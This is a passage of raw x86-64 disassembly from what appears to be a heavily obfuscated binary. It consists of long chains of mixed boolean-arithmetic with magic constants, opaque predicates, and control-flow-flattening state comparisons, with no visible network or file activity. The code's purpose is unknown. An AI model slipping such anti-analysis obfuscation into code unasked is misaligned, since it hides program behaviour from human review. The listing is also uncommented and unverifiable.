or al, r11b
mov r11d, esi
and r11b, dl
xor dl, sil
or dl, r11b
mov r11d, edx
xor r11b, al
xor al, 1
xor r11b, 1
or al, dl
xor al, 1
or al, r11b
and r15b, bl
or bl, r9b
and cl, r9b
or cl, r15b
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov esi, eax
xor sil, 1
and sil, al
xor sil, 1
mov ebx, eax
xor bl, sil
or sil, al
xor sil, 1
or sil, bl
xor sil, cl
mov r9d, esi
xor r9b, 1
xor dil, r10b
mov eax, edi
xor al, r8b
and al, dil
xor r10b, r8b
mov ecx, eax
xor cl, 1
and cl, r10b
xor r10b, 1
mov ebx, eax
xor bl, r10b
and bl, al
and r10b, al
or r10b, cl
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, r10d
xor al, 1
mov ecx, eax
or cl, r10b
xor cl, 1
and r10b, al
xor r10b, 1
mov ebx, eax
xor bl, r10b
or r10b, al
xor r10b, 1
or r10b, bl
xor r10b, cl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebp, ecx
xor bpl, 1
or bpl, cl
xor bpl, 1
mov ebx, ecx
and bl, bpl
xor bpl, cl
or bpl, bl
mov r8d, ebp
xor r8b, 1
mov r10d, ebp
and r10b, r8b
mov ecx, ebp
and cl, r10b
xor r10b, bpl
or r10b, cl
mov r14d, r10d
xor r14b, 1
mov r11d, r9d
xor r11b, sil
mov ebx, r10d
or bl, r14b
mov edi, esi
xor dil, r14b
and dil, sil
and r14b, sil
or sil, r9b
mov eax, esi
xor al, 1
mov edx, eax
and dl, sil
mov ecx, edx
and cl, al
xor dl, al
and r11b, r9b
or dl, cl
mov eax, edx
xor al, 1
and al, r11b
xor r11b, 1
and dl, r11b
or dl, al
mov eax, esi
and al, r11b
xor r11b, sil
or r11b, al
mov eax, r11d
xor al, dl
xor dl, 1
or dl, r11b
xor al, 1
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and r8b, bl
and al, bpl
or al, r8b
mov ecx, ebx
and cl, bpl
xor bl, bpl
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
and cl, dl
xor dl, 1
xor al, 1
and al, dl
or al, cl
and r10b, r9b
or r14b, r10b
mov ecx, edi
and cl, r14b
xor r14b, dil
or r14b, cl
xor r14b, al
and al, r14b
mov ecx, r14d
xor cl, al
test cl, 1
mov edx, 0xc9487b4a
mov ecx, 0xb12f7c09
cmovne edx, ecx
test r14b, 1
mov ecx, 0xc9487b4a
cmovne ecx, edx
test al, 1
jmp 0x140010242
cmp ecx, 0xc9487b4a
je 0x1400175cf
cmp ecx, 0xd96c7573
jne 0x1400014e0
mov ecx, 0xdb67d42
mov eax, dword [rsp + 0x18c]
mov dword [rsp + 0x5c], eax
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
cmp ecx, 0xa89dd2a4
je 0x1400186ab
cmp ecx, 0xae6896ea
jne 0x1400014e0
mov eax, dword [0x1400c5670]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov ebx, ecx
and eax, edx
mov ecx, eax
not ecx
mov esi, edx
and esi, 0xf8edbd7f
mov ebp, ebx
mov edi, ebx
mov dword [rsp + 0x48], ebx
mov r10d, ebx
and edi, 0x7124280
or edi, esi
mov ebx, edx
or edx, ecx
and ecx, 0xf8edbd7f
and eax, 0x7124280
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x1b29b851
xor edx, 0xe4d647ae
or edx, eax
mov eax, edx
not eax
and eax, 0x8d281847
and edx, 0x72d7e7b8
or edx, eax
mov eax, edx
xor eax, 0x12114090
and ebp, 0x7e01ced7
mov ecx, ebx
mov r8d, ebx
mov dword [rsp + 0x3c], ebx
and ecx, 0x81fe3128
or ecx, ebp
mov ebp, ecx
xor ebp, 0x81fe3128
xor ecx, 0x5200cac3
and ecx, 0x530edbe3
mov edi, ebp
and edi, 0xacf1241c
or edi, ecx
xor edi, 0xb7d89c4d
and ebp, 0xe4d647ae
or ebp, edi
mov ecx, ebp
not ecx
mov edi, edx
xor edi, 0x8d281847
and ebp, 0x1dc93a7e
mov ebx, ecx
and ebx, 0xe236c581
or ebx, ebp
mov esi, ebx
xor esi, 0xe236c581
xor edx, 0x131148d5
and edx, edi
and eax, 0x9e395092
xor ebx, 0x7c0f9513
and ebx, esi
and ecx, 0x9e395092
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, eax
not edx
and edx, 0x4fbb9ecd
and eax, 0xb0446132
or eax, edx
mov edx, ecx
not edx
and edx, 0x4fbb9ecd
and ecx, 0xb0446132
or ecx, edx
xor ecx, eax
mov eax, edi
and eax, esi
xor esi, edi
or esi, eax
mov eax, esi
not eax
and eax, 0xb798421f
and esi, 0x4867bde0
or esi, eax
mov eax, esi
xor eax, 0x384e0
xor esi, 0xb798421f
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe96c7b01
and ecx, 0x169384fe
or ecx, ebp
or edx, esi
and esi, 0xe96c7b01
and eax, 0x169384fe
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xb2ff940a
and ecx, edx
not edx
and edx, 0x22691408
and eax, 0x90968002
or eax, edx
mov edx, eax
xor edx, 0x960002
xor eax, 0x6f697ffd
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xd860b66d
and edx, 0x229f0002
or edx, ebx
or eax, ebp
and ebp, 0xd860b66d
and ecx, 0x279f4992
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7be982f9
and eax, 0x84167d06
or eax, ecx
mov ecx, eax
xor ecx, 0xd23faea2
mov edx, eax
xor edx, 0x1401000
and edx, 0xc140b002
xor eax, 0x33ff1838
and eax, ecx
and ecx, 0x20800698
or ecx, edx
mov edx, ecx
xor edx, 0x800608
xor ecx, 0xdf7ff967
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0xbb38d0b3
and edx, 0x40c02608
or edx, ebx
or ecx, ebp
and ebp, 0xbb38d0b3
and eax, 0x44c72f4c
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1e3f4965
and ecx, 0xe1c0b69a
or ecx, eax
mov ebp, ecx
xor ebp, 0xbc057465
and ebp, ecx
or ecx, 0x43fa8b9a
mov edx, ecx
not edx
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x5c954799
and ebp, 0xa36ab866
or ebp, ebx
or eax, ecx
and ecx, 0x5c954799
and edx, 0xa0003064
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x43fa8b9a
and eax, 0xbc057465
or eax, edx
xor ecx, eax
and ecx, eax
and r10d, 0x55b41db9
mov eax, r8d
and eax, 0xaa4be246
or eax, r10d
mov edx, eax
not edx
and edx, 0xaa4be246
and eax, 0x55b41db9
or eax, edx
mov esi, eax
not esi
mov edx, eax
xor edx, 0xd471aefe
mov ebx, edx
and ebx, esi
and edx, eax
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x37517236
and edx, 0xc8ae8dc9
or edx, ebx
xor edx, 0x5f25a8ad
and eax, 0x26bae55d
mov ebp, esi
and ebp, 0xd9451aa2
or ebp, eax
xor ebp, 0x65406ec7
and esi, 0x43fa8b9a
or esi, ebp
not esi
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, esi
not eax
and eax, 0x44c92717
and esi, 0xbb36d8e8
or esi, eax
mov eax, esi
not eax
and eax, 0x5499e30d
and esi, 0xab661cf2
or esi, eax
mov edx, esi
xor edx, 0x212d3860
mov edi, esi
xor edi, 0x1050c41a
mov r15d, ecx
not r15d
mov ebx, r15d
and ebx, 0xa9e933c9
mov r14d, ecx
xor r14d, 0xa9e933c9
and r14d, ecx
mov ebp, ebx
and ebp, r14d
xor r14d, ebx
or r14d, ebp
mov ebp, r14d
not ebp
and ebp, 0x5616cc36
and r14d, 0xa9e933c9
or r14d, ebp
xor esi, 0x85200140
mov ebp, edi
mov eax, edi
and eax, 0xcec2078f
and edx, 0x313df870
or edx, eax
not edx
or edx, edi
or edi, 0xcdf0c549
mov r13d, edi
not r13d
or esi, 0x320b2294
and esi, 0xb76be7dc
and ebp, 0x48900001
or ebp, esi
and edi, 0xb76be7dc
and r13d, 0x41822
or r13d, edi
xor r13d, ebp
mov eax, r13d
not eax
and eax, 0x139aad7c
and r13d, 0xec655283
or r13d, eax
mov r10d, r13d
xor r10d, 0x219597ca
mov r9d, r14d
not r9d
mov eax, r9d
and eax, 0x9735634c
mov esi, r14d
and esi, 0x68ca9cb3
or esi, eax
xor esi, 0x59f764c3
or esi, r9d
mov edi, esi
not edi
and r15d, 0x59f77202
and ecx, 0xa6088dfd
or ecx, r15d
mov ebp, ecx
xor ebp, 0xa6088dfd
xor ecx, 0x58664002
and ecx, 0x5e664cab
mov eax, ebp
and eax, 0xa199b354
or eax, ecx
xor eax, 0x90a44b24
and ebp, 0xcec2078f
or ebp, eax
mov eax, ebp
not eax
and eax, 0xdefb78f4
and ebp, 0x2104870b
or ebp, eax
mov r12d, ebp
xor r12d, 0x1040501
xor ebp, 0xdefb78f4
mov r15d, r13d
xor r15d, 0xde6a6835
mov eax, r15d
and eax, 0x9658a220
mov ebx, r10d
and ebx, 0x69a75ddf
or ebx, eax
mov ecx, ebx
xor ecx, 0x69a75ddf
xor ebx, 0x90582000
and ebx, 0xd05c71d6
mov eax, ecx
and eax, 0x2fa38e29
or eax, ebx
xor eax, 0xe16189a6
and ecx, 0x313df870
or ecx, eax
mov ebx, ecx
not ebx
mov eax, esi
or eax, ebp
not eax
and esi, 0x60aae27e
and edi, 0x9f551d81
or edi, esi
and ebp, 0x60aae27e
and r12d, 0x9f551d81
or r12d, ebp
xor r12d, edi
mov esi, eax
and esi, r12d
xor r12d, eax
or r12d, esi
mov ebp, ebx
or ebp, 0x9caaf137
mov eax, ebp
not eax
mov esi, ecx
xor esi, 0x9caaf137
and esi, ebx
mov edi, ebp
and edi, 0x49632ebc
and eax, 0x22140040
or eax, edi
mov edi, esi
not edi
or ebp, edi
and edi, 0x49632ebc
and esi, 0xb69cd143
or esi, edi
mov r11d, edx
not r11d
xor esi, eax
mov edi, r11d
or edi, 0x9caaf137
not ebp
or ebp, esi
mov eax, edi
not eax
and edi, 0xed909e69
and eax, 0x2450080
or eax, edi
mov edi, edx
or edi, 0x63550ec8
mov esi, edi
not esi
and edi, 0xed909e69
and esi, 0x102a6116
or esi, edi
xor esi, eax
mov eax, ebp
not eax
and eax, esi
not esi
and esi, ebp
or esi, eax
mov eax, ebx
and eax, 0xc0b79eba
and ecx, 0x3f486145
or ecx, eax
or ebx, r11d
and r11d, 0xc0b79eba
and edx, 0x3f486145
or edx, r11d
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebx
not eax
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x5fc696a6
and esi, 0xa0396959
or esi, ecx
or edi, ebx
and ebx, 0x5fc696a6
and eax, 0xa0396959
or eax, ebx
xor eax, esi
not edi
or edi, eax
mov eax, r12d
mov ebx, r12d
xor ebx, 0x65401f1f
and ebx, r12d
not r12d
and r12d, 0x6000010d
and eax, 0x5401e12
or eax, r12d
mov r11d, eax
xor r11d, 0x4001600
xor eax, 0xfabfe1ed
mov r12d, edi
mov ecx, edi
xor ecx, 0x65401f1f
and ecx, edi
not edi
and edi, 0xdf25d1eb
and r12d, 0x20da2e14
or r12d, edi
mov edx, r12d
xor edx, 0x20da2e14
xor r12d, 0xba65cef4
and r12d, edx
mov edx, eax
and edx, 0x5369097a
and r11d, 0x24001605
or r11d, edx
mov edx, ebx
not edx
or eax, edx
and edx, 0x5369097a
and ebx, 0xac96f685
or ebx, edx
mov r8d, dword [rsp + 0x48]
mov esi, r8d
xor ebx, r11d
not eax
or eax, ebx
mov edx, r12d
and edx, ecx
xor ecx, r12d
or ecx, edx
mov edx, eax
not edx
and edx, 0x5e7865ee
and eax, 0xa1879a11
or eax, edx
mov edx, ecx
not edx
and edx, 0x5e7865ee
and ecx, 0xa1879a11
or ecx, edx
xor ecx, eax
mov eax, r9d
and eax, 0xc659c269
mov edx, r14d
xor edx, 0xc659c269
and edx, r14d
xor r13d, 0xe7cc55a3
mov ebp, r13d
and ebp, r15d
and r13d, r10d
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov edi, ebp
and edi, r13d
xor r13d, ebp
mov eax, dword [rsp + 0x3c]
mov r11d, eax
mov r12d, eax
and eax, 0xb5dfda58
and esi, 0x4a2025a7
or esi, eax
xor esi, 0x4a2025a7
or esi, r8d
or r13d, edi
mov ebp, edx
not ebp
and ebp, 0x17addacb
and edx, 0xe8522534
or edx, ebp
mov ebp, r13d
not ebp
and ebp, 0x17addacb
and r13d, 0xe8522534
or r13d, ebp
xor r13d, edx
mov edx, r14d
and edx, 0x2c2f8ca7
and r9d, 0xd3d07358
or r9d, edx
or r14d, r10d
and r10d, 0x2c2f8ca7
and r15d, 0xd3d07358
or r15d, r10d
xor r15d, r9d
not r14d
or r14d, r15d
mov edx, r14d
not edx
and edx, 0xbec7e144
and r14d, 0x41381ebb
or r14d, edx
xor r14d, 0x41381ebb
mov edx, r13d
and edx, r14d
xor r14d, r13d
or r14d, edx
mov edx, r14d
not edx
and edx, 0x5e5f8fb8
and r14d, 0xa1a07047
or r14d, edx
mov edi, r14d
xor edi, 0xa1802001
xor r14d, 0x6108308
and r14d, 0x630d34e
and edi, 0xf9cf2cb1
or edi, r14d
mov eax, edi
xor eax, 0x630c300
xor edi, 0xf9cf2cb1
mov r15d, ecx
mov ebx, ecx
xor ebx, 0x5cf232ab
and ebx, ecx
mov r9d, ecx
not r9d
mov ecx, edi
and ecx, 0x90851c7e
and eax, 0x6f7ae381
or eax, ecx
mov ebp, eax
xor ebp, 0x6f7ae381
or r15d, 0xa30dcd54
mov r14d, r15d
not r14d
xor eax, 0xcc772ed5
and eax, ebp
or edi, 0x5cf232ab
mov r10d, r15d
and r10d, 0xed8a5cd4
and r14d, 0x1070222b
or r14d, r10d
mov edx, ebx
not edx
or r15d, edx
and edx, 0xed8a5cd4
and ebx, 0x1275a32b
or ebx, edx
mov r10d, edi
not r10d
xor ebx, r14d
not r15d
or r15d, ebx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xb6c32424
and eax, 0x493cdbdb
or eax, ebx
or edx, edi
and edi, 0xb6c32424
and r10d, 0x10cc950
or r10d, edi
xor r10d, eax
not edx
or edx, r10d
mov eax, r15d
not eax
and eax, 0xf3c7e176
and r15d, 0xc381e89
or r15d, eax
mov eax, edx
not eax
and eax, 0xf3c7e176
and edx, 0xc381e89
or edx, eax
xor edx, r15d
mov eax, r9d
and eax, ebp
xor ebp, r9d
or ebp, eax
not ebp
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
mov edi, ebp
mov ecx, eax
mov ebx, eax
and ebx, 0x43fa8b9b
and ebp, 0xbc057464
or ebp, ebx
not ebp
or ebp, eax
or eax, 0x148e13d6
mov edx, eax
not edx
or edi, 0xa3216c01
and edi, 0xa7a16d05
and ecx, 0x100e12d2
or ecx, edi
and eax, 0xa7a16d05
and edx, 0x48508028
or edx, eax
xor edx, ecx
mov eax, edx
not eax
and eax, 0x5757e681
and edx, 0xa8a8197e
or edx, eax
mov eax, edx
xor eax, 0xb8060020
xor edx, 0x43d9f557
and eax, 0xf9876176
mov ecx, edx
and ecx, 0x6789e89
or ecx, eax
xor ecx, 0x45821512
and edx, 0xbc057464
or edx, ecx
mov eax, edx
not eax
and eax, 0x53aeb5a1
and edx, 0xac514a5e
or edx, eax
mov ebx, edx
xor ebx, 0x8510018
mov ecx, ebp
not ecx
xor edx, 0x53aeb5a1
mov eax, edx
or eax, ebp
mov edi, eax
not edi
and edx, 0xf62c5ee6
and ebx, 0x9d3a119
or ebx, edx
and ebp, 0xf62c5ee6
and ecx, 0x9d3a119
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
mov ebp, eax
and ebp, 0xe18505d5
and edi, 0x1e7afa2a
or edi, ebp
or eax, edx
and edx, 0xe18505d5
and ecx, 0x1e7afa2a
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov edi, eax
not edi
mov edx, edi
and edx, 0x41a0860c
mov ebp, eax
and ebp, 0x2102902
or ebp, edx
mov edx, ebp
xor edx, 0x2100902
xor ebp, 0xb9004299
mov ebx, edi
or ebx, 0x43b0af0e
mov ecx, ebx
not ecx
and ebp, 0xb9006299
and edx, 0x42b08d06
or edx, ebp
and ebx, 0xb9006299
and ecx, 0x44f1060
or ecx, ebx
xor ecx, edx
mov edx, ecx
not edx
and edx, 0xbc4f50f1
and ecx, 0x43b0af0e
or ecx, edx
mov ebp, ecx
not ebp
and ecx, 0x89d19776
and ebp, 0x762e6889
or ebp, ecx
mov ecx, ebp
xor ecx, 0x762e6889
and edi, 0xd70fe241
and eax, 0x28f01dbe
or eax, edi
mov edx, eax
xor edx, 0x28f01dbe
xor eax, 0xd70fe241
or eax, edx
mov edx, eax
not edx
mov ebx, ebp
xor ebx, 0x9509132
and ebx, 0x5b54f1ba
xor ebp, 0x4eaf202
and ebp, ecx
and ecx, 0xa4ab0e45
or ecx, ebx
xor ecx, 0xa4ab0e45
mov ebx, eax
and ebx, 0xe557800e
xor eax, 0x8d3b6574
and eax, edx
and edx, 0x1aa87ff1
or edx, ebx
mov r14d, edx
xor r14d, 0x1aa87ff1
xor edx, 0x97931a85
and edx, r14d
mov r9d, ecx
and r9d, r14d
xor r14d, ecx
and ecx, 0x72c49a8b
mov ebx, ecx
and ebx, ebp
xor ebp, ecx
or ebp, ebx
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x8966a800
and edx, 0x769957ff
or edx, edi
or ecx, ebx
and ebx, 0x8966a800
and eax, 0x769957ff
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ebp
not eax
and eax, 0xef622d17
and ebp, 0x109dd2e8
or ebp, eax
mov eax, ecx
not eax
and eax, 0xef622d17
and ecx, 0x109dd2e8
or ecx, eax
xor ecx, ebp
or r14d, r9d
mov eax, r14d
not eax
and eax, 0xb1e49c7e
and r14d, 0x4e1b6381
or r14d, eax
xor r14d, 0x4e1b6381
mov eax, ecx
and eax, r14d
xor r14d, ecx
or r14d, eax
and r8d, 0x220d00
and r11d, 0x1d44900c
or r11d, r8d
xor r11d, 0x1d44900c
and r12d, 0xe29962f3
or r12d, r11d
mov eax, r12d
not eax
and eax, 0xe29962f3
and r12d, 0x1d669d0c
or r12d, eax
mov eax, r12d
not eax
and eax, 0x365eade7
and r12d, 0xc9a15218
or r12d, eax
mov eax, r12d
xor eax, 0xc9a15218
xor r12d, 0x365eade7
mov ecx, esi
not ecx
and ecx, eax
or eax, esi
not eax
and esi, r12d
or esi, ecx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov r12d, r14d
not r12d
mov ecx, r14d
and ecx, 0xa94dc70d
mov r11d, r12d
and r11d, 0x56b238f2
or r11d, ecx
mov r8d, r11d
xor r8d, 0xa94dc70d
mov edx, esi
not edx
mov ebx, esi
mov ecx, edx
and ecx, 0x769b5d8c
and esi, 0x8964a273
or esi, ecx
not esi
or esi, edx
and edx, 0xbd34a8d5
and ebx, 0x42cb572a
or ebx, edx
mov r13d, ebx
xor r13d, 0x24b130a
xor ebx, 0x1248814
and ebx, 0x41a4cc34
and r13d, 0xbe5b33cb
or r13d, ebx
mov r10d, r13d
xor r10d, 0x41a4cc34
xor r11d, 0x56b238f2
mov r9d, r11d
and r9d, 0x220c602d
xor r13d, 0xbe5b33cb
mov ecx, r13d
and ecx, 0x92c6fd20
mov r15d, r10d
and r15d, 0x6d3902df
or r15d, ecx
xor r15d, 0xe45da0ac
or r15d, r13d
and r10d, r11d
or r11d, r13d
and r13d, r8d
and r8d, 0xddf39fd2
or r8d, r9d
mov ecx, r8d
xor ecx, 0xddf39fd2
xor r8d, 0x22040028
and r8d, 0xfb769928
mov edi, ecx
and edi, 0x48966d7
or edi, r8d
xor edi, 0x72123b5b
and ecx, 0x8964a273
or ecx, edi
mov edi, ecx
not edi
and edi, 0x97c517e9
and ecx, 0x683ae816
or ecx, edi
mov edi, ecx
xor edi, 0x683ae816
mov ebp, r12d
and ebp, 0x769b5d8c
and r14d, 0x8964a273
or r14d, ebp
xor r12d, r14d
and r12d, r14d
mov edx, r15d
not edx
mov r8d, esi
not r8d
mov eax, r12d
not eax
mov ebp, edi
xor ebp, eax
and ebp, edi
xor ecx, 0x130502e1
and ecx, 0x731faae3
and edi, 0x8ce0551c
or edi, ecx
and eax, 0x731faae3
and r12d, 0x8ce0551c
or r12d, eax
xor r12d, edi
mov eax, ebp
and eax, r12d
xor r12d, ebp
or r12d, eax
and r15d, 0x15f7ea67
mov eax, edx
and eax, 0xea081598
or eax, r15d
mov ecx, eax
xor ecx, 0xea081598
mov ebp, esi
and ebp, 0xe08342b9
xor esi, 0xa4fb0b43
and esi, r8d
and r8d, 0x1f7cbd46
or r8d, ebp
mov ebp, r8d
xor ebp, 0x1f7cbd46
mov edi, ecx
and edi, 0x5b04f4bc
and edx, 0xa4fb0b43
or edx, edi
mov edi, r8d
xor edi, 0xbb87b605
and edi, ebp
mov r9d, edi
and r9d, esi
xor esi, edi
or esi, r9d
mov ebx, edx
not ebx
and ebx, esi
not esi
and esi, edx
xor eax, 0x15f7ea67
or esi, ebx
mov edx, eax
and edx, 0xbe968f8a
and ecx, 0x41697075
or ecx, edx
mov r14d, dword [0x1400c566c]
xor r8d, 0xe08342b9
or eax, r8d
and r8d, 0xbe968f8a
and ebp, 0x41697075
or ebp, r8d
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0x1a748595
and eax, 0xe58b7a6a
or eax, ecx
mov ecx, eax
xor ecx, 0x4017840
xor eax, 0x1a748595
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0xe3fa862f
and esi, 0x1c0579d0
or esi, edx
or ebp, eax
and eax, 0xe3fa862f
and ecx, 0x1c0579d0
or ecx, eax
xor ecx, esi
not ebp
or ebp, ecx
mov eax, r12d
not eax
and eax, 0x52a89f95
and r12d, 0xad57606a
or r12d, eax
mov eax, ebp
not eax
mov edx, ebp
xor edx, 0x52a89f95
and eax, edx
and edx, ebp
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xd4122d51
and eax, 0x2bedd2ae
or eax, edi
or ecx, ebp
and ebp, 0xd4122d51
and edx, 0x2bedd2ae
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, r12d
not eax
and eax, 0x5ce6dca3
and r12d, 0xa319235c
or r12d, eax
mov eax, ecx
not eax
and eax, 0x5ce6dca3
and ecx, 0xa319235c
or ecx, eax
xor ecx, r12d
not r11d
or r13d, r10d
mov eax, r11d
and eax, r13d
xor r13d, r11d
or r13d, eax
mov eax, r13d
not eax
and eax, 0xc5102a52
and r13d, 0x3aefd5ad
or r13d, eax
mov r8d, r13d
xor r8d, 0x3aefd5ad
mov ebp, r13d
xor ebp, 0xc5102a52
mov ebx, ecx
not ebx
or ecx, 0xcc770a9
mov edi, ecx
not edi
mov eax, ebx
or eax, 0xf3388f56
mov esi, eax
not esi
mov edx, ebx
and edx, ebp
xor ebx, ebp
and ebp, 0xf3388f56
xor r13d, 0xc9d75afb
and r13d, r8d
and ecx, 0xfabf217a
and edi, 0x1008e04
or edi, ecx
and eax, 0xfabf217a
and esi, 0x4405081
or esi, eax
xor esi, edi
mov ecx, ebp
and ecx, r13d
xor r13d, ebp
or r13d, ecx
mov ecx, esi
not ecx
and ecx, r13d
not r13d
and r13d, esi
or r13d, ecx
or ebx, edx
not ebx
mov ecx, r13d
and ecx, ebx
xor ebx, r13d
or ebx, ecx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x6a220376
mov eax, ebx
xor eax, 0x19989382
and eax, ebx
or edx, ebx
mov ecx, ebx
and ecx, 0x95ddfc89
or ecx, ebp
mov ebp, ecx
xor ebp, 0x10981080
xor ecx, 0x8000302
or ecx, 0xe6676c7d
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x346823d
and ebp, 0x18981182
or ebp, edi
or ecx, ebx
and ebx, 0x346823d
and eax, 0xfcb97dc2
or eax, ebx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xe6676c7d
and ecx, 0x19989382
or ecx, eax
mov ebx, ecx
not ebx
mov eax, edx
not eax
and eax, 0x7eb68106
and edx, 0x81497ef9
or edx, eax
mov esi, edx
xor esi, 0x14816e8
xor edx, 0x7eb68106
and ebx, 0xc55ee27c
mov ebp, ecx
and ebp, 0x3aa11d83
or ebp, ebx
xor ebp, 0x3aa11d83
mov ebx, ebp
and ebx, 0x45c816ea
and ecx, 0xba37e915
or ecx, ebx
or esi, 0xba37e915
mov edi, esi
not edi
mov ebx, ebp
and ebx, edx
xor ebp, edx
or edx, 0x45c816ea
mov eax, edx
not eax
and esi, 0xe2bd9285
and edi, 0x540046a
or edi, esi
and edx, 0xe2bd9285
and eax, 0x18026910
or eax, edx
xor eax, edi
mov edx, ecx
not edx
and edx, 0x7e8bbafb
and ecx, 0x81744504
or ecx, edx
mov edx, eax
not edx
and edx, 0x7e8bbafb
and eax, 0x81744504
or eax, edx
xor eax, ecx
or ebp, ebx
mov ecx, ebp
not ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x980535ee
and eax, 0x67faca11
or eax, edx
or ebx, ebp
and ebp, 0x980535ee
and ecx, 0x67faca11
or ecx, ebp
xor ecx, eax
not ebx
or ebx, ecx
mov esi, ebx
not esi
mov eax, ebx
xor eax, 0x4d422c7c
and eax, ebx
mov edx, ebx
or edx, 0xb2bdd383
mov ebp, eax
not ebp
mov edi, edx
and edi, 0xc9cc40c9
mov ecx, esi
and ecx, 0x4022c34
or ecx, edi
or edx, ebp
and ebp, 0xc9cc40c9
and eax, 0x3633bf36
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x2299520d
and edx, 0xdd66adf2
or edx, eax
mov eax, edx
xor eax, 0x4e496c31
xor edx, 0x10200184
and edx, 0x31b213c4
and eax, 0xce4dec3b
or eax, edx
xor eax, 0xce4dec3b
and esi, 0x5918487d
and ebx, 0xa6e7b782
or ebx, esi
xor ebx, 0xa6e7b782
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
cmp ebx, 0xffffffff
sete r9b
setne r8b
cmp r14d, 0xa
setl al
cmp r14d, 9
setg sil
mov r10d, esi
xor r10b, al
mov r11d, r10d
xor r11b, 1
mov edx, r11d
and dl, r10b
mov ebx, r11d
xor bl, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
xor al, bl
and bl, dl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
xor bl, sil
or sil, dl
xor sil, 1
or sil, al
mov eax, esi
xor al, 1
mov ecx, eax
and cl, sil
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
and cl, bl
or cl, al
mov eax, esi
and al, bl
xor bl, sil
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
xor cl, bl
and cl, bl
mov esi, ecx
xor sil, 1
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, sil
and al, cl
or al, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov r12d, r8d
xor r12b, r9b
mov ecx, r12d
xor cl, 1
mov esi, ecx
and sil, r12b
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov ebp, esi
xor bpl, 1
mov edi, ebp
or dil, sil
mov ecx, esi
xor cl, bpl
and cl, sil
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r14d, edx
and r14b, bl
xor bl, dl
or bl, r14b
xor bl, dil
xor dl, dil
xor dil, 1
xor bl, 1
or cl, dil
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edi, ecx
xor dil, 1
mov edx, ecx
and dl, dil
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, dil
xor bl, 1
or bl, dl
xor bl, r8b
mov ecx, esi
and cl, bpl
xor sil, cl
xor cl, 1
or cl, bpl
xor cl, 1
or cl, sil
mov edx, ecx
and dl, r9b
xor cl, 1
and cl, r8b
or cl, dl
mov edx, r9d
xor dl, bpl
or bpl, r9b
xor bpl, 1
or bpl, dl
xor bpl, 1
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
mov ecx, ebp
xor cl, 1
